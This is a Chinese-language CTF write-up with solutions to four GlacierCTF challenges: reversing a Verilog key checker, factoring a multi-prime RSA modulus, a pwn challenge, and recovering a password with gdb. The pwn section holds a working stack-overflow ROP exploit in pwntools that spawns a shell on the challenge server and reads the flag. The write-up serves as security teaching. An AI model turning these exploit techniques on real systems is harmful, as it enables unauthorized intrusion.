[rev] Skilift 获得一个用Verilog编写的密码校验器的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 module top( input [63 :0 ] key, output lock ); reg [63 :0 ] tmp1, tmp2, tmp3, tmp4; always @(*) begin tmp1 = key & 64'hF0F0F0F0F0F0F0F0 ; end always @(*) begin tmp2 = tmp1 <<< 5 ; end always @(*) begin tmp3 = tmp2 ^ "HACKERS!" ; end always @(*) begin tmp4 = tmp3 - 12345678 ; end assign lock = tmp4 == 64'h5443474D489DFDD3 ; endmodule
看起来得找到能让lock变成1的key才行。已知tmp4的情况下可以一步步地把tmp1给倒推出来
1 2 3 4 5 6 from pwn import *tmp4 = 0x5443474D489DFDD3 tmp3 = tmp4 + 12345678 tmp2 = tmp3 ^ int .from_bytes(b"HACKERS!" , byteorder="big" ) tmp1 = tmp2 >> 5
虽然此时key的偶数位与前五位依旧未知,不过由于不影响之后的运算已经不重要了
1 2 3 chall = remote("chall.glacierctf.com" , 13375 ) chall.sendlineafter(">" , hex (tmp1)) chall.interactive()
Out:
1 2 3 4 5 6 7 8 9 10 11 12 Welcome to SkiOS v1.0.0 ║ ║ ║ ║ > Please provide the ║ ║ master key to start ║ ║ the ski lift ║ ║ ║ ║ (format 0x1234567812345678) ║ ║ ║ ╚═════════════════════════════╝ Please input your key > gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}
[crypto] Arisai 拿到一个魔改版的RSA加密器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import bytes_to_longfrom Crypto.Util.number import getPrimePRIME_LENGTH = 24 NUM_PRIMES = 256 FLAG = b"gctf{redacted}" N = 1 e = 65537 for i in range (NUM_PRIMES): prime = getPrime(PRIME_LENGTH) N *= prime ct = pow (bytes_to_long(FLAG), e, N) print (f"{N=} " )print (f"{e=} " )print (f"{ct=} " )
观察到参数N由256个24比特的随机质数组合而成,由于因子的可能性不多可以尝试暴力破解出N的质因数分解以便推导出私钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * from Crypto.Util.number import getPrimeN = ... e = ... ct = ... PRIME_LENGTH = 24 NUM_PRIMES = 256 factors = {} reduced_N = N def test_and_update_factor (p ): global reduced_N if reduced_N % p == 0 : if p in factors.keys(): factors[p] += 1 else : factors[p] = 1 print (factors) reduced_N //= p print (reduced_N) test_and_update_factor(p) return while reduced_N != 1 : p = getPrime(PRIME_LENGTH) if p in factors.keys(): continue test_and_update_factor(p)
现在可以直接算出N在欧拉函数 下的值了( 表示因子p重复的次数,对应程序中的factors[p])
1 2 3 from functools import reducephi_N = reduce(lambda x,y: x * y, [(p-1 ) * p**(factors[p]-1 ) for p in factors.keys()])
找到公钥e在 中的逆,也就是私钥
然后对密文进行解密翻译成字符串并打印出来
1 2 pt = pow (ct, d, N) print (pt.to_bytes((pt.bit_length()+7 )//8 , "big" ))
Out:
1 b'gctf{maybe_I_should_have_used_bigger_primes}'
[pwn] Locifier 对拿到的elf文件进行反编译,观察main函数
1 2 3 4 5 6 7 8 9 undefined8 main (void ) { char local_108 [256 ]; setup(); fgets(local_108,0x100 ,(FILE *)stdin ); printf ("-> %s\n" ,local_108); return 0 ; }
看起来并没有什么问题,但输入test时程序返回-> Lostest而不是预期的-> test。点进setup()发现和printf相关的函数
1 2 3 4 5 6 7 8 void setup (void ) { setbuf((FILE *)stdin ,(char *)0x0 ); setbuf((FILE *)stdout ,(char *)0x0 ); register_printf_specifier(0x73 ,printf_handler,printf_arginfo_size); return ; }
看起来register_printf_specifier根据printf_handler来去定制printf的表现,进入printf_handler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 size_t printf_handler (FILE *param_1,undefined8 param_2,undefined8 *param_3) { undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; size_t local_18; undefined8 local_10; local_50 = 0 ; local_48 = 0 ; local_40 = 0 ; local_38 = 0 ; local_30 = 0 ; local_28 = 0 ; local_20 = 0 ; local_10 = *(undefined8 *)*param_3; local_58 = 0x736f4c ; loscopy((long )&local_58 + 3 ,local_10,10 ); local_18 = strlen ((char *)&local_58); fwrite(&local_58,1 ,local_18,param_1); return local_18; } void loscopy (char *param_1,char *param_2,char param_3) { char *local_18; char *local_10; local_18 = param_2; local_10 = param_1; while (param_3 != *local_18) { *local_10 = *local_18; local_18 = local_18 + 1 ; local_10 = local_10 + 1 ; } return ; }
看起来它会将printf第二个参数指向的字符串放到&local_58 + 3这个位置,以\n作为该字符串的终结,而且printf_handler并没有被canary保护,尝试一下能不能用栈溢出改写返回地址。
1 2 3 4 5 6 7 8 from pwn import *chall = gdb.debug("chall" ) chall.send(cyclic(0x100 )) dist_to_ra = cyclic_find('aaaw' ) print (dist_to_ra)
观察到溢出成功并且确定buffer到返回地址之间的距离为85字节。利用rop尝试打开shell
1 2 3 4 5 6 7 8 elf = ELF("chall" ) rop = ROP(elf) rop.raw(b'A' * 85 ) rop.call("system" , [next (elf.search(b"/bin/sh" ))]) chall = process("chall" ) gdb.attach(chall) chall.sendline(rop.chain())
通过gdb发现程序成功进入system函数但在执行指令movaps xmmword ptr [rsp + 0x50], xmm0时出错退出。查阅movaps文档后发现此指令要求rsp + 0x50满足内存排列规则,也就是16的倍数。然而在程序退出的瞬间rsp的值为0x7ffeda1ac408,很显然不满足条件。尝试加入通过加入一个无意义的retgadget来去让rsp的最后一位归零
1 2 3 4 5 6 7 8 9 10 11 context.arch = "amd64" elf = ELF("chall" ) rop = ROP(elf) rop.raw(b'A' * 85 ) rop.raw(rop.find_gadget("ret" )) rop.call("system" , [next (elf.search(b"/bin/sh" ))]) chall = process("chall" ) gdb.attach(chall) chall.sendline(rop.chain())
执行后成功拿到shell,连接challenge服务器拿下flag
1 2 3 4 5 6 7 chall = remote("chall.glacierctf.com" , 13392 ) chall.sendline(rop.chain()) chall.interactive() ls app flag.txt cat flag.txt gctf{l0ssp34k_UwU_L0v3U}
[rev] Password Recovery 题目要求找到用户LosCapitan的密码并且给出密码校验器的二进制文件。进行反编译后观察main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 undefined8 main (void ) { byte bVar1; int iVar2; ulong uVar3; size_t sVar4; long in_FS_OFFSET; ulong local_b8; ulong local_b0; byte local_98 [64 ]; char local_58 [56 ]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28 ); printf ("Enter your name: " ); __isoc99_scanf(&DAT_00102016,local_98); printf ("Enter your password: " ); __isoc99_scanf(&DAT_00102016,local_58); local_b8 = 0 ; while ( true ) { sVar4 = strlen ((char *)local_98); if (sVar4 <= local_b8) break ; uVar3 = next_rand_value(); sVar4 = strlen ((char *)local_98); bVar1 = local_98[local_b8]; local_98[local_b8] = local_98[uVar3 % sVar4]; local_98[uVar3 % sVar4] = bVar1; local_b8 = local_b8 + 1 ; } local_b0 = 0 ; while ( true ) { sVar4 = strlen ((char *)local_98); if (sVar4 <= local_b0) break ; local_98[local_b0] = local_98[local_b0] ^ *(byte *)((long )&key + (ulong)((uint)local_b0 & 7 )); local_98[local_b0] = (char )local_98[local_b0] % '\x1a' ; local_98[local_b0] = local_98[local_b0] + 0x61 ; local_b0 = local_b0 + 1 ; } iVar2 = strcmp ((char *)local_98,local_58); if (iVar2 == 0 ) { puts ("Valid!" ); } else { puts ("Invalid!" ); } if (local_20 != *(long *)(in_FS_OFFSET + 0x28 )) { __stack_chk_fail(); } return 0 ; }
注意到比较关键的一行
1 iVar2 = strcmp ((char *)local_98,local_58);
使用gdb查看用于比较的字符串
1 2 3 chall = gdb.debug("app" ) chall.sendline(b"LosCapitan" ) chall.sendline(b"test" )
1 2 3 4 5 6 7 8 b main c b strcmp commands x/s $rdi x/s $rsi end c
成功找到密码]^WR\\lcTI。